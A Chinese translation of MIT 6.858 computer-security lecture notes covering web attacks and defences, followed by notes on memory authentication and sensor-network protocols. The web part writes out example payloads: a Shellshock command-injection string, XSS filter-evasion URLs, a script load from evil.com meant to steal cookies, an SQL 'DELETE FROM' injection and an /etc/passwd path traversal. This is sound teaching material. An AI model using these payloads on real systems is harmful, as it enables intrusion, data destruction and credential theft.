MIT 6.858 计算机系统安全讲义 2014 秋季（二）（3）-阿里云开发者社区

MIT 6.858 计算机系统安全讲义 2014 秋季（二）（2）https://developer.aliyun.com/article/1484151

插件

通常具有略有不同的安全策略。

Java：有点使用同源策略，但 Java 代码可以设置 HTTP 头（不好！参见“Content-Length”讨论），在某些情况下，具有相同 IP 地址的不同主机名被认为共享相同的来源。
Flash：开发人员在其网络服务器上放置一个名为crossdomain.xml的文件。该文件指定哪些来源可以通过 Flash 与服务器通信。

HTML5 引入了一个新的屏幕共享 API：一旦用户授予权限，站点就可以捕获整个可见屏幕区域并将其传输回站点的来源。

因此，如果攻击者页面能说服用户授予屏幕共享权限，攻击者页面可以打开一个到敏感站点（例如银行、Facebook、电子邮件）的 iframe，并捕获屏幕内容！
iframe 将发送 cookie，因此用户将自动登录，使攻击者能够查看“真实”信息，而不是无聊的登录页面内容。
攻击者可以使 iframe 仅短暂闪烁，以防止用户注意到恶作剧。
可能的防御措施：

允许用户只共享 DOM 树的一部分？这似乎会很繁琐且容易出错。
只允许一个来源从自己的来源中截取内容？这似乎是一个更合理的方法，尽管它阻止了混搭。

更多讨论：攻击利用 HTML5 屏幕共享 API 的论文

结论

自从《混乱的网络》以来，对整体网络堆栈进行了各种修改和添加。

一般来说，事情变得更加复杂，这通常对安全性不利。
以下是一些新功能的参考：

内容安全策略
严格传输安全
跨域资源共享
HTML5 iframe 沙盒属性 [http://msdn.microsoft.com/en-us/hh563496.aspx]

浏览器安全模型显然一团糟。它非常复杂，包含许多微妙和不一致之处。

Q: 为什么不从头开始重写安全模型？
A1: 向后兼容性！有大量现有的网络基础设施供人们依赖。
A2: 我们如何知道新的安全模型是否足够表达？用户通常不会接受为了增加安全性而减少功能。
A3: 任何安全模型都可能注定失败—也许所有流行的系统都注定会随着时间的推移积累大量功能。[例如：文字处理程序，智能手机。]
更好的设计可能是什么样子？

严格隔离大使馆—即使在本地，一切都是网络消息 [https://www.usenix.org/system/files/conference/nsdi13/nsdi13-final85.pdf]
不要让策略提取和执行依赖于复杂的解析规则（记住我们的消毒示例）
只以小的、明确定义的量增加功能，最小化实现错误或解释错误的空间—消除歧义和猜测的需要。

网络安全，第二部分

注意： 这些讲座笔记是从 2014 年 6.858 课程网站上发布的笔记稍作修改而来。

在上一讲中，我们看了一下网络的核心安全机制：同源策略。

在本讲座中，我们将继续探讨如何构建安全的网络应用程序。

“Shell shock”类似的利用

最近的“Shell Shock”漏洞是一个很好的例子，说明设计组合多种技术的网络服务是多么困难。

网页客户端可以在其 HTTP 请求中包含额外的标头，并确定请求中的查询参数。例如：

GET /query.cgi?searchTerm=cats HTTP 1.1
Host: www.example.com
Custom-header: Custom-value

CGI 服务器将 HTTP 请求的各个组件映射到 Unix 环境变量。

漏洞： Bash 在处理环境变量设置时存在解析错误！如果一个字符串以一组特定的格式不正确的字节开头，bash 将继续解析字符串的其余部分并执行找到的任何命令！例如，如果您将环境变量设置为这样的值…

() { :;};  /bin/id

…将混淆 bash 解析器，并导致执行/bin/id命令（显示当前用户的 UID 和 GID 信息）。

实时演示：

Step 1: Run the CGI server.
  ./victimwebserver.py 8082
Step 2: Run the exploit script.
  ./shellshockclient.py localhost:8082 index.html

跨站脚本攻击（XSS 攻击）

Shell Shock 是一种由不当内容消毒引起的安全漏洞的特定实例。另一种内容消毒失败发生在跨站脚本攻击（XSS）期间。

例如：假设一个 CGI 脚本在生成的 HTML 中嵌入了一个查询字符串参数。

演示：

Step 1: Run the CGI server.
   ./cgiServer.py
Step 2: In browser, load these URLs:
   http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=hello
   http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<b>hello</b>
   http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<script>alert("XSS");</script>
           //The XSS attack doesn't work for this one . . .
           //we'll see why later in the lecture.
   http://127.0.0.1:8282/cgi-bin/uploadRecv.py?msg=<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
           //This works! [At least on Chrome 37.0.2062.124.]
           //Even though the browser caught the
           //straightforward XSS injection, it
           //incorrectly parsed our intentionally
           //malformed HTML.
           // [For more examples of XSS exploits via
           //  malformed code, go here:
           //      https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
           // ]

为什么跨站脚本攻击如此普遍？

动态网站在 HTML 页面中包含用户内容（例如，评论部分）。
网站托管上传的用户文档。

HTML 文档可以包含任意的 Javascript 代码！
非 HTML 文档可能被浏览器识别为 HTML。

不安全的 Javascript 程序可能直接执行来自外部方的代码（例如，eval()，setTimeout()等）。

XSS 防御

Chrome 和 IE 具有内置功能，使用启发式方法检测潜在的跨站脚本攻击。

例如：请求获取封闭页面的请求中是否包含即将执行的脚本？

http://foo.com?q= src="evil.com/cookieSteal.js"/>

如果是这样，这是有力的证据表明即将发生可疑事件！上述攻击称为“反射型 XSS 攻击”，因为服务器“反射”或“返回”攻击者提供的代码到用户的浏览器中，在受害页面的上下文中执行。

过滤器并不具有 100%的覆盖率，因为有许多编码 XSS 攻击的方式！[https://www.owasp.org/index.php/XSSFilterEvasionCheatSheet]

这就是为什么我们的第二个 XSS 攻击成功了—浏览器被我们故意格式不正确的 HTML 搞糊涂了。

问题：过滤器无法捕获持久性 XSS 攻击，在这种攻击中，服务器保存了攻击者提供的数据，然后永久分发给客户端。

另一个 XSS 防御：“httponly” cookies.

特权分离：使用一个单独的域来存放不受信任的内容。

内容消毒：将不受信任的内容编码，以限制其解释方式。

例如：Django 模板：将输出页面定义为一堆 HTML，其中有一些 “孔” 可以插入外部内容。

Django 中的自动 HTML 转义

一个模板可能包含这样的代码…

你好 {{ name }}

… 其中 “name” 是一个变量，在页面被 Django 模板引擎处理时被解析。该引擎将获取 “name” 的值（例如，从用户提供的 HTTP 查询字符串中），然后自动转义危险字符。例如，

尖括号 < 和 > --> < 和 >
双引号 " --> "

这可以防止不受信任的内容将 HTML 注入到渲染页面中。
模板不能防御所有攻击！例如…

...
如果 var 等于 class1 onmouseover=javascript:func()
… 那么根据浏览器解析格式不正确的 HTML 的方式，可能会发生 XSS 攻击。

因此，内容消毒有点奏效，但解析 HTML 的方式非常难以明确。
可能更好的方法：完全禁止外部提供的 HTML，并强制外部内容用一种更小的语言表达（例如，Markdown）。

经过验证的 Markdown 可以被转换为 HTML。

内容安全策略（CSP）：允许 Web 服务器告诉浏览器可以加载哪种资源，以及这些资源的允许来源。

服务器指定一个或多个类型为Content-Security-Policy的头部。

Content-Security-Policy: default-src 'self' *.mydomain.com
// Only allow content from the page's domain
// and its subdomains.

您可以为图像来源、脚本来源、框架、插件等指定单独的策略。
CSP 还防止内联 JavaScript，以及像eval()这样允许动态生成 JavaScript 的 JavaScript 接口。

一些浏览器允许服务器禁用内容类型嗅探（X-Content-Type-Options: nosniff）。

SQL 注入攻击

假设应用程序需要根据用户输入发出 SQL 查询：

query = "SELECT * FROM table WHERE userid=" + userid

问题：对手可以提供改变 SQL 查询结构的userid，例如，

"0; DELETE FROM table;"

如果我们在 userid 周围添加引号会怎样？

query = "SELECT * FROM table WHERE userid='" + userid + "'"

漏洞仍然存在！攻击者可以在userid的第一个字节前添加另一个引号。
**真正的解决方案：**明确地对数据进行编码。

例如：用’替换’等。
SQL 库提供转义函数。

Django 定义了一个查询抽象层，位于 SQL 之上，允许应用程序避免编写原始 SQL（尽管如果他们真的想要，也可以这样做）。
（可能是假的）德国车牌上写着“;DROP TABLE”，以避免使用 OCR+SQL 的超速摄像头提取车牌号。

如果不受信任的实体可以提供文件名，也会遇到问题。

例如：假设一个 Web 服务器根据用户提供的参数读取文件。

open("/www/images/" + filename) 问题：文件名可能是这样的：
../../../../../etc/passwd

与 SQL 注入一样，服务器必须对用户输入进行清理：服务器必须拒绝带有斜杠的文件名，或以某种方式对斜杠进行编码。

Django

颇受欢迎的 Web 框架，被一些大型网站如 Instagram、Mozilla 和 Pinterest 使用。

“Web 框架”是一个提供基础设施的软件系统，用于诸如数据库访问、会话管理和创建可在整个站点中使用的模板内容的任务。
其他框架更受欢迎：PHP、Ruby on Rails。
在企业世界中，Java servlets 和 ASP 也被广泛使用。

Django 开发人员在安全方面进行了一定程度的思考。

因此，Django 是一个很好的案例研究，可以看到人们如何在实践中实现 Web 安全。

Django 在安全方面可能比一些替代方案如 PHP 或 Ruby on Rails 更好，但细节决定成败。

正如我们将在两次讲座后讨论的那样，研究人员发明了一些提供明显更好安全性的框架。[Ur/Web：http://www.impredicative.com/ur/]

会话管理：cookie

Web 上客户端身份验证的 Do’s 和 Don’ts

Zoobar、Django 和许多 Web 框架在 cookie 中放入一个随机会话 ID。

会话 ID 指的是 Web 服务器上某个会话表中的条目。该条目存储了一堆每个用户的信息。
会话 cookie 是敏感的：对手可以使用它们来冒充用户！

正如我们在上一堂课上讨论的，同源策略有助于保护 cookie……
…但是不应该与您不信任的站点共享域！否则，这些站点可能发起会话固定攻击：

在Wikipedia, 会话固定上了解更多信息。
攻击者让受害者访问一个链接或一个设置攻击者指定的会话 ID 在受害者 cookie 中的网站。
攻击者可以利用接受来自查询字符串的任何会话标识符的服务器，并给受害者一个类似lol.com/?PHPSID=abcd的 URL。

会话 ID 可以由攻击者选择或在攻击者登录时由服务器返回。

或者，攻击者可以利用浏览器漏洞，允许a.example.com为b.example.com设置 cookie。攻击者让受害者访问他的网站b.website.com，为受害者的a.website.com设置 cookie。
用户导航到受害者网站；攻击者选择的会话 ID 被发送到服务器并用于识别用户的会话条目。
后来，攻击者可以使用攻击者选择的会话 ID 导航到受害者网站，并访问用户的状态！
这里有一个很大的假设。这种攻击只对没有注意到他们登录的账户不是自己的无知受害者有效。

嗯，但是如果我们不想为每个已登录用户保留服务器端状态怎么办？

无状态 cookie

如果您没有会话的概念，那么您需要对每个请求进行身份验证！

想法： 使用密码学验证 cookie。
原语：消息认证码（MACs）

将其视为一个带有密钥的哈希，例如，HMAC-SHA1: H(k, m)
客户端和服务器共享一个密钥；客户端使用密钥生成消息，服务器使用密钥验证消息。

AWS S3 REST 服务使用这种类型的 cookie：REST Authentication。

亚马逊为每个开发者提供一个 AWS 访问密钥 ID 和一个 AWS 秘密密钥。每个请求看起来像这样：

GET /photos/cat.jpg HTTP/1.1
 Host: johndoe.s3.amazonaws.com
 Date: Mon, 26 Mar 2007 19:37:58 +0000
 Authorization: AWS AKIAIOSFODNN7EXAMPLE:frJIUN8DYpKDtOLCwoyllqDzg=
                  |___________________| |________________________|
                      Access key ID            MAC signature

这是签名的内容（这里稍微简化了，查看上面的链接获取完整故事）：

StringToSign = 
      HTTP-Verb     + "\n" +
      Content-MD5   + "\n" +
      Content-Type  + "\n" +
      Date          + "\n" +
      ResourceName

请注意，这种类型的 cookie 不会在传统意义上过期（尽管如果亚马逊已经撤销用户的密钥，服务器将拒绝请求）。

您可以在特定请求中嵌入一个“过期”字段，然后将该 URL 交给第三方，如果第三方等待时间过长，AWS 将拒绝请求并标记为过期。

AWSAccessKeyId=AKIAIOSFODNN7EXAMPLE&Expires=1141889120&Signature=vjbyPxybd...
                                   |__________________|
                                  Included in the string
                                  that's covered by the
                                  signature!

请注意，用于字符串到哈希的格式应提供明确的解析！

例如：不应允许任何组件嵌入转义字符，否则服务器端解析器可能会混淆。

问：如何使用这种类型的 cookie 设计注销？答：如果服务器是无状态的（关闭会话将需要一个服务器端的撤销 cookie 表），那是不可能的。

如果服务器可以保持状态，会话 ID 会使这变得更简单。
在减少服务器端内存状态和增加服务器端加密计算开销之间存在根本的权衡。

用于会话管理的 cookie 替代方案

使用HTML5 本地存储，并在 Javascript 中实现自己的身份验证。

一些 Web 框架像 Meteor 这样做。
优势：cookie 不会通过网络发送到服务器。
优势：您的身份验证方案不受复杂的同源策略对 cookie 的限制（例如，DOM 存储绑定到单个源，而 cookie 可以绑定到多个子域）。

客户端 X.509 证书。

优势：Web 应用程序无法窃取或明确操纵彼此的证书。
**缺点：**对吊销的故事说法不够强（我们将在未来的讲座中更多地讨论这个问题）。
**缺点：**用户不想为访问的每个站点管理证书，使用体验差！
**利弊：**没有会话的概念，因为证书是"始终开启"的。对于重要操作，应用程序将不得不提示输入密码。

HTTP 协议模糊性

Web 栈存在一些协议模糊性，可能导致安全漏洞。

来自 XMLHttpRequest 的 HTTP 标头注入

Javascript 可以要求浏览器在请求中添加额外的标头。那么，如果我们这样做会发生什么呢？

var x = new XMLHttpRequest();
 x.open("GET", "http://foo.com");
 x.setRequestHeader("Content-Length", "7");
 // Overrides the browser-computed field!
 x.send("Gotcha!\r\n" +
 "GET /something.html HTTP/1.1\r\n" +
 "Host: bar.com");

服务器在 foo.com 上可能会将其解释为两个单独的请求！稍后，当浏览器接收到第二个请求时，它可能会用来自 foo.com 的内容覆盖属于 bar.com 的缓存条目！
**解决方案：**防止 XMLHttpRequest 设置敏感字段如 Host: 或 Content-Length。
**要点：**明确的编码至关重要！构建可靠的转义/编码！

URL 解析（“The Tangled Web” 第 154 页）

Flash 的 URL 解析器与浏览器略有不同。
假设 URL 是 http://example.com:80@foo.com/

Flash 会将来源计算为 “example.com”。
浏览器会将来源计算为 “foo.com”。

**不好的主意：**复杂的解析规则只是为了确定主体。
**不好的主意：**重新实现复杂的解析代码。

这是一个滑稽/可怕的发起攻击的方式，使用存储在 .jar 格式中的 Java applet。

2007 年，Lifehacker.com 发布了一篇文章，描述了如何将 .zip 文件隐藏在 .gif 文件中。

利用图像渲染器自上而下处理文件的事实，而 .zip 文件的解压缩器通常从末尾开始向上移动。
攻击者意识到 .jar 文件基于 .zip 格式！
**因此 GIFAR 诞生了：**一半 gif，一半 jar，全是邪恶。
制作 GIFAR 非常简单：只需在 Linux 上使用 “cat” 或在 Windows 上使用 “cp”。
假设 target.com 仅允许外部方上传图像对象。攻击者可以上传一个 GIFAR，而该 GIFAR 将通过 target.com 的图像验证测试！
然后，如果攻击者能够发起 XSS 攻击，攻击者可以注入引用 “.gif” 的 HTML 作为 applet。

<applet code="attacker.class"
        archive="attacker.gif"

浏览器将加载该小程序并赋予其 target.com 的权限！

隐蔽信道攻击

Web 应用程序也容易受到隐蔽信道攻击的影响。

隐蔽信道是一种机制，允许两个应用程序交换信息，即使安全模型禁止这些应用程序通信。

该信道是“隐蔽”的，因为它不使用官方的跨应用程序通信机制。

示例 #1：基于 CSS 的嗅探攻击

攻击者有一个可以说服用户访问的网站。
攻击者目标： 弄清楚用户访问过的其他网站（例如，确定用户的政治观点、医疗历史等）。
利用向量：网页浏览器使用不同的颜色来显示已访问与未访问的链接！因此，攻击页面可以生成一个候选 URL 的大列表，然后检查颜色以查看用户是否访问过其中任何一个。

每秒可以检查数千个 URL！
可以先广度优先，找到顶级域的命中，然后对每个命中进行深度优先。

修复： 强制 getComputedStyle() 和相关的 JavaScript 接口始终表示链接未访问。[https://blog.mozilla.org/security/2010/03/31/plugging-the-css-history-leak/]

示例 #2：基于缓存的攻击

攻击者的设置和目标与以前相同。
利用向量： 浏览器访问缓存的数据比通过网络获取数据要快得多。因此，攻击页面可以生成候选图像列表，尝试加载它们，并查看哪些加载速度快！
如果候选图像来自地理特定图像，例如 Google 地图瓦片，此攻击可以揭示您的位置。[http://w2spconf.com/2014/papers/geo_inference.pdf]
修复： 没有好的方法。一个页面永远不会缓存对象，但这会影响性能。但是，假设一个站点不缓存任何内容。那么它是否免受历史嗅探的影响？不是！

示例 #3：基于 DNS 的攻击

攻击者的设置和目标与以前相同。
利用向量： 攻击页面生成对各个域中对象的引用。如果用户已经访问过该域中的对象，主机名将已经存在于 DNS 缓存中，使得后续对象访问更快！[http://sip.cs.princeton.edu/pub/webtiming.pdf]
修复： 没有好的方法。可以使用原始 IP 地址作为链接，但这会破坏很多东西（例如，基于 DNS 的负载平衡）。但是，假设一个站点不缓存任何内容并使用原始 IP 地址作为主机名，那么它是否免受历史嗅探的影响？不是！

示例 #4：渲染攻击。

攻击者的设置和目标与以前相同。
利用向量： 攻击者页面在 iframe 中加载一个候选 URL。在浏览器获取内容之前，攻击者页面可以访问… window.frames[1].location.href …并读取攻击者设置的值。然而，一旦浏览器获取了内容，访问该引用将由于同源策略而返回“未定义”。因此，攻击者可以轮询该值并查看变为“未定义”需要多长时间。如果需要很长时间，那么页面必定没有被缓存！[http://lcamtuf.coredump.cx/cachetime/firefox.html]
修复： 停止使用计算机？

一个网页也需要安全地使用 postMessage()。

来自不同来源的两个框架可以使用 postMessage()异步交换不可变字符串。

发送方获取一个窗口对象的引用，并执行以下操作：window.postMessage(msg, origin);
接收方为特殊的“消息”事件定义事件处理程序。事件处理程序接收消息和来源。

Q: 接收方为什么要检查接收到的消息的来源？
A:为了对发送方执行访问控制！如果接收方实现了敏感功能，它不应该响应来自任意来源的请求。

常见错误： 接收方使用正则表达式来检查发送方的来源。
即使来源匹配 /.foo.com/，也不意味着它来自 foo.com！可能是"xfoo.com"，或者"www.foo.com.bar.com"。

更多细节：邮差总是两次敲门

Q: 为什么发送方必须指定接收方的预期来源？
A:postMessage()应用于窗口，而不是来源。

请记住，攻击者可能能够将窗口导航到不同的位置。
如果攻击者导航窗口，另一个来源可能会接收消息！
如果发送方明确指定目标来源，浏览器在传递消息之前会检查接收方的来源。

更多细节：在浏览器中保护框架通信

构建安全 Web 应用程序还有许多其他方面。

例如：确保服务器端操作的适当访问控制。

Django 提供 Python 装饰器来检查访问控制规则。

例如：维护日志以进行审计，防止攻击者修改日志。

内存认证（Marten van Dijk 的笔记）

阅读： R. Elbaz, D. Champagne, C. Gebotys, R.B. Lee, N. Potlapally 和 L. Torres, “内存认证的硬件机制：现有技术和引擎综述”, 计算机科学交易, pp. 1-22, 2009.

模型（假设、安全需求、可能的攻击）：

什么是内存认证？验证处理器从给定地址读取的数据是否是它最后写入该地址的数据。

为什么需要内存认证？能够破坏内存空间的对手可以影响受信任计算平台执行的计算。假设：提供包括内存在内的防篡改环境成本太高。受信任的计算平台是具有有限片上存储的单芯片安全处理器。它对所有物理攻击具有抵抗力，包括侵入性攻击。每当敏感计算完成时，需要验证计算过程中片外内存操作序列的真实性。请注意，根据应用程序的不同，这可能会经常发生，或者有时发生。这导致不同的认证策略（基于树或非基于树）。

有一个对所有物理攻击具有抵抗力的单芯片处理器是现实的吗？可能只有对成本不太高的所有物理攻击具有抵抗力是可以接受的。这排除了由普通黑客执行的攻击。我们不试图防范由有权访问昂贵实验室的工程师执行的攻击。所需的安全性（及其成本）是业务模型的一部分。

数据完整性指的是检测任何对数据的敌对破坏或篡改的能力。它与内存认证有什么关系？内存认证意味着数据完整性。

内存认证的目标是防范篡改片外内存内容的主动攻击。这些主动攻击是什么？欺骗：现有内存块被替换为任意伪造的内存块。拼接/重定位：将地址 A 处的内存块替换为地址 B 处的内存块。重放：在给定地址处记录的内存块在以后的某个时间点插入到同一地址处。

什么是软件攻击？软件攻击是由受损操作系统或恶意应用程序执行的主动攻击。即使操作系统内核被设计为将敏感应用程序与恶意软件隔离，我们也不能信任操作系统。目前，我们不会考虑软件攻击。

还有哪些安全需求值得关注？访问控制；应用程序不应能够访问彼此的特定数据。数据保密性；加密敏感数据以确保隐私。

为什么这些需求还不够？攻击者可能操纵加密数据。因此，我们还需要内存认证。

加密敏感数据是否真的确保隐私？内存访问模式的相关性如何？这可能泄露有关应用程序性质以及与其共享内存的其他应用程序之间的关系的信息。

解决方案（基于树的解决方案和非基于树的解决方案）：

内存认证的一个天真解决方案是什么？在芯片存储器中存储整个内存的摘要。不可接受。

下一个最佳解决方案是什么？存储每个内存块（缓存块）的摘要，参见图 3(a)。减少内存带宽开销，但需要太多（昂贵）的芯片内存。

什么是稍微更好的解决方案？在芯片内存上使用随机数成本更低，参见图 3(b)。如果随机数生成器超出范围，需要重置密钥 k 并更新所有内存（这可以在空闲时间完成）。随机数生成器需要输出唯一的随机数吗？不同地址的随机数需要不同吗？不需要，如果我们将每个 MAC 计算为密钥 k、随机数 N 和地址 A 的函数。因此，我们可以使用较小的随机数，从而减少芯片内存。当特定地址的较小随机数用尽时，该地址在重置密钥 k 之前无法使用。如果我们使用 16 位的较小随机数，可以使用随机随机数吗？不可以，以 1/2¹⁶ 的概率会导致冲突，可能会导致攻击。我们需要确定性随机数：对于每次更新，只需将相应的随机数递增 1。

什么技巧可以改进当前的解决方案？具有哈希（Merkle 树）、MAC + 随机数或 E + 随机数的完整性树。参见图 5。它是如何工作的？Merkle 树更新过程是顺序的：在更新下一个分支节点之前，必须完成分支中新哈希节点的计算。PAT 读取和更新过程是可并行化的，它是如何工作的？一个中间节点存储其子节点中存储的随机数的 MAC，这些都是事先已知的。中间节点不存储其子节点中存储的 MAC 的 MAC（这将类似于 Merkle 树）。TEC-Tree 使用加密，不存储随机数。在更新期间如何检索随机数？使用解密。读取和更新的混合是否可并行化？不可以。

我们如何找到父节点的地址？使用树遍历，导致（公式 1）。

如何利用缓存以提高性能？树读取和更新过程在遇到缓存的哈希或根时终止。

什么是盆景 Merkle 树？使用许多使用计数器/随机数的较小树。存储它们的根。使用特殊树保护计数器，并存储其中间节点和叶子。参见图 6。注意声明“每次本地计数器翻转时都需要对整个页面进行加密处理”。不要担心此方法的细节。只需注意与我们在图 3(b)中呈现的解决方案的讨论的相似性。

如果操作系统不可信，我们需要做什么？构建一个完整性树，仅覆盖属于应用程序的页面，并且只能在应用程序本身运行时更新。页表将页面的虚拟地址映射到其物理地址。分支接种攻击会破坏与给定内存块的虚拟地址对应的物理地址，参见图 7。因此，我们需要在虚拟地址空间上构建一棵树。受保护应用程序生成的虚拟地址用于遍历树。存在哪些缺点？不可扩展：需要大量的内存容量（为初始化期间定义的 2⁶⁴ 字节叶节点的物理页框分配，以及为非叶树节点分配内存），以及大量的初始化开销（初始化这样的树需要太长时间）。我们还需要为每个需要保护的应用程序引入一个完整的树，而不是一个单独的树来保护物理内存中的所有软件。我们如何尝试部分克服这些问题？引入一个新的硬件单元，在一个缩小的地址空间上构建一个完整性树，该空间仅包含应用程序执行所需的页面（随着应用程序内存占用的增加而动态增长）。

无树结构的内存认证：Lhash 专为需要在一系列内存操作之后进行完整性检查的应用程序设计（与树方案中的每个内存操作进行检查相反）。它使用多重集哈希函数在运行时维护内存位置的写入和读取日志，称为 WriteHash 和 ReadHash。这些日志存储在芯片上。在初始化时，WriteHash 计算在需要认证的内存区域中属于内存块的内存块上。当执行芯片外写入或从缓存中驱逐脏缓存块时，WriteHash 在运行时更新。WriteHash 随时反映芯片外内存状态。当执行芯片外读取或将块带入缓存时，ReadHash 会更新。要检查一系列操作的完整性，需要读取属于内存区域的所有块，之后 ReadHash 应该等于 WriteHash。

多重集哈希函数的要求：压缩（保证我们可以将哈希存储在有限的内存中）、可比性（一个比较哈希的概率算法，因为多重集不总是哈希到相同的值）、增量性（将多重集的哈希相加得到多重集的并集的哈希）、以及多重集碰撞抗性（计算上不可行找到两个不同的多重集哈希到相似哈希的）。

相关主题：

相关主题：数据认证对称多处理器：需要考虑在缓存到缓存传输中进行总线事务认证，这在缓存一致性协议中是必需的，参见图 8。

相关主题：如何利用不受信任的服务器为大量目录提供可信存储，其中每个目录中的文件可能由几个不同设备访问和更新，这些设备可能在不同时间离线，并且除了通过不受信任的服务器（在不受信任的网络上）之外，它们可能无法相互通信。多用户网络文件系统 SUNDR 提供了对分叉攻击的保护，这是一种攻击形式，其中服务器使用重放攻击使不同用户对系统的当前状态有不同的视图。然而，它并不会立即检测到分叉攻击。相反，它提供分叉一致性，这基本上确保系统服务器要么行为正确，要么其故障或恶意行为将在稍后的某个时刻被检测到，当用户能够相互通信时（例如，每天晚上一次）。如果不受信任的服务器具有可以信任的时间戳设备（例如，通过使用嵌入式可信平台模块），则可以立即检测到分叉和重放攻击。

相关主题：云存储。客户端希望确保其数据的副本存在。检索性证明（POF）是服务器生成的包含证据的短消息，证明客户端数据的正确版本存储在服务器上。这使客户能够有效地检查其数据是否得到充分备份（查看有关 T-mobile 数据丢失的最新消息！）。

相关主题：稀疏内存。通过使用经过身份验证的搜索树，可以生成一个证明，证明对应于加密地址的叶子不存在。这可以防止存储值的存在性被否认（稀疏内存所需），重放攻击和未经授权的访问。

无线传感器网络（Marten van Dijk 的笔记）

**阅读：**A. Perrig, R. Szewczyk, J.D. Tygar, V. Wen, and D.E. Culler, “SPINS: Security Protocols for Sensor Networks”, Wireless Networks 8, 521-534, 2002.

模型（假设、安全需求、可能的威胁）：

什么是传感器网络？成千上万的小传感器形成自组织的无线网络。传感器具有有限的处理能力、存储、带宽和能量（这降低了生产成本）。例如，使用 TinyOS，一个小型的事件驱动操作系统，见表 1。如果第三方可以读取或篡改传感器数据，会引发严重的安全和隐私问题。

例子：应急响应信息，能源管理，医疗监测，物流和库存管理，战场管理。

无线传感器网络（WSN）和移动自组织网络（MANET）之间有什么区别？WSN 中的传感器节点数量可以比 MANET 中的节点数量大几个数量级。传感器节点密集部署。传感器节点容易发生故障。WSN 的拓扑结构变化非常频繁。传感器节点主要使用广播通信范式，而大多数 MANET 基于点对点通信。传感器节点在处理能力、存储、带宽和能量方面受限。

传感器节点的组成部分是什么？带有传感器和模数转换器（ADC）的感知单元。带有存储器的处理器。收发器。电源单元。

基站的功能是什么？更多的电池电力，足够的内存，与外部网络通信的手段。

信任假设是什么？个体传感器不可信任。已知所有传感器中被损坏的比例存在上限。通信基础设施不可信任（除了消息以非零概率传递到目的地）。传感器节点信任它们的基站。每个节点信任自己。

什么是协议栈？物理层：简单但稳健的调制、传输和接收技术；负责频率选择、载波频率生成、信号检测、调制。数据链路层：介质访问控制（MAC）协议必须具有节能功能，并能够最小化与邻居广播的冲突，无线多跳自组织网络中的 MAC 协议创建网络基础设施（由于节点移动性和故障导致拓扑结构变化，周期性传输信标允许节点创建路由拓扑），并在传感器节点之间有效共享通信资源（已提出固定分配和随机访问版本），数据链路层还实现错误控制和数据加密 + 安全。网络层：路由传输层提供的数据，与外部网络进行互联，设计原则是功耗效率，数据聚合仅在不妨碍传感器节点协作努力时才有用，基于属性的寻址和位置感知。传输层：在应用需要时帮助维持数据流，特别是当系统计划通过互联网或其他外部网络访问时。应用层：大部分尚未探索。

什么是性能指标？容错性或可靠性：是指在没有传感器节点故障（非敌对性，如缺乏电力、物理损坏、环境干扰）的情况下维持传感器网络功能的能力，它被建模为泊松分布 e^{-lambdat}，以捕捉在时间间隔（0，t）内没有故障的概率。可扩展性：支持更大网络的能力，对网络规模增加后仍具有灵活性，能够利用更密集的网络（密度表示每个节点传输半径内的节点数量；它等于 Npi*R²/A，其中 N 是区域 A 中散布的传感器节点数量，R 是无线传输范围）。效率：存储复杂性（存储证书、凭证、密钥所需的内存量），处理复杂性（安全原语和协议所需的处理器周期数量），通信复杂性（为了提供安全而交换的消息数量和大小的开销）。网络连通性：两个相邻传感器能够共享密钥的概率（为了提供预期功能，需要足够的密钥连通性）。网络弹性：抵抗节点被捕获的能力；对于每个 c 和 s，c 受损传感器能够破坏 s 链接的概率是多少（通过重建相应的共享秘钥）？

安全性要求是什么？可用性：确保整个 WSN 提供的服务，任何部分或单个节点在需要时必须可用。安全服务的退化：随着资源可用性的变化，能够改变安全级别。生存能力：在断电、故障或攻击的情况下提供最低级别的服务（需要阻止拒绝服务攻击）。

身份验证：在授予有限资源或透露信息之前，对其他节点、簇首和基站进行身份验证。完整性：确保消息或实体不被篡改（数据完整性通过数据认证实现）。新鲜度：确保每条消息都是新鲜的、最新的（检测重放攻击）。

机密性：提供无线通信通道的隐私（通过监听或隐蔽通道防止信息泄露），需要语义安全，确保窃听者对明文没有任何信息，即使它看到相同明文的多次加密（例如，将明文与随机比特串连接，但这需要发送更多数据并消耗更多能量）。不可否认性：防止恶意节点隐藏其活动（例如，它们无法否认其签署的陈述的有效性）。

解决方案（SNEP、微型 TESLA、密钥分发）：

设计安全性的限制是什么？安全性需要限制处理能力的消耗。有限的电源供应限制了密钥的寿命。工作内存无法保存用于 RSA 等非对称加密算法的变量。创建和验证签名的开销很高。需要限制通信。

SNEP：A 和 B 共享一个主密钥，用于派生加密密钥 K_AB 和 K_BA，以及 MAC 密钥 K’AB 和 K’BA。A 和 B 同步计数器值 C_A=C_B。从 A 到 B 的通信：{Data}[K_AB,C_A] = Data XOR E{K_AB}(C_A) 以及 MAC_{K’AB}({Data}[K_AB,C_A]||C_A)，参见公式（1）。MAC 计算如图 3 所示，使用 CBC 模式。这提供了语义安全、数据认证、弱新鲜度（如果消息验证正确，接收者知道消息必须在其（接收者）正确接收的上一条消息之后发送），低通信开销（计数器值不会被发送）。

强新鲜度：参见公式（2），如果 B 从 A 请求消息，那么 B 向 A 传输一个随机数，并且 A 将此随机数包含在其发送给 B 的通信的 MAC 中。如果 MAC 验证正确，B 知道 A 在 B 发送请求后生成了响应。

同步计数器值：请参阅第 5.2 节中的简单引导协议，随时可以使用具有强新鲜度的上述协议来请求当前计数器值。为防止拒绝服务攻击，在上述协议中允许每个加密消息传输计数器，或者附加另一个不依赖于计数器的短 MAC 到消息中。

微型 TESLA：经过身份验证的广播需要使用非对称机制，否则任何被篡改的接收器都可以伪造来自发送者的消息。如何在没有非对称加密的情况下完成这项工作？通过延迟揭示对称密钥引入不对称性。思路：基站使用一个对传感器节点未知的密钥 K 的 MAC_K（K 是密钥链的一个密钥，K_i = F(K_{i+1})，其中 F 是单向函数）来承诺给基站（在密钥链中，密钥是自认证的），密钥链通过基站的延迟揭示来揭示。密钥揭示时间延迟大约为几个时间间隔，大于任何合理的往返时间。接收器节点知道密钥揭示时间。每个接收器节点需要拥有密钥链的一个真实密钥作为对整个链的承诺。发送基站和接收器节点松散地进行时间同步。使用共享秘密 MAC 密钥的简单引导协议，请参阅第 5.5 节。

节点无法存储密钥链的密钥：节点可以通过基站广播数据，或者使用基站外包密钥链管理。

